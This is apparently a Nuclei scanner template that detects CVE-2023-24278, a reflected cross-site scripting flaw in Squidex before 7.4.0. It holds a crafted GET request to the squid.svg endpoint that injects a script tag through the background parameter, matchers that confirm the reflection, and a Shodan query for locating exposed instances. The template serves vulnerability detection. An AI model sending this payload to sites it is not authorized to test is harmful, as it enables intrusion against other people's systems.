id: CVE-2023-24278

info:
  name: Squidex <7.4.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Squidex before 7.4.0 contains a cross-site scripting vulnerability via the squid.svg endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  remediation: |
    Upgrade to Squidex CMS version 7.4.0 or later to mitigate this vulnerability.
  reference:
    - https://census-labs.com/news/2023/03/16/reflected-xss-vulnerabilities-in-squidex-squidsvg-endpoint/
    - https://www.openwall.com/lists/oss-security/2023/03/16/1
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24278
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24278
    cwe-id: CWE-79
    epss-score: 0.00099
    epss-percentile: 0.40865
    cpe: cpe:2.3:a:squidex.io:squidex:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: squidex.io
    product: squidex
    shodan-query: http.favicon.hash:1099097618
  tags: cve,cve2023,xss,squidex,cms,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cimg%20src=%22&small"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "looking for!"
        condition: and

      - type: word
        part: header
        words:
          - "image/svg+xml"

      - type: status
        status:
          - 200

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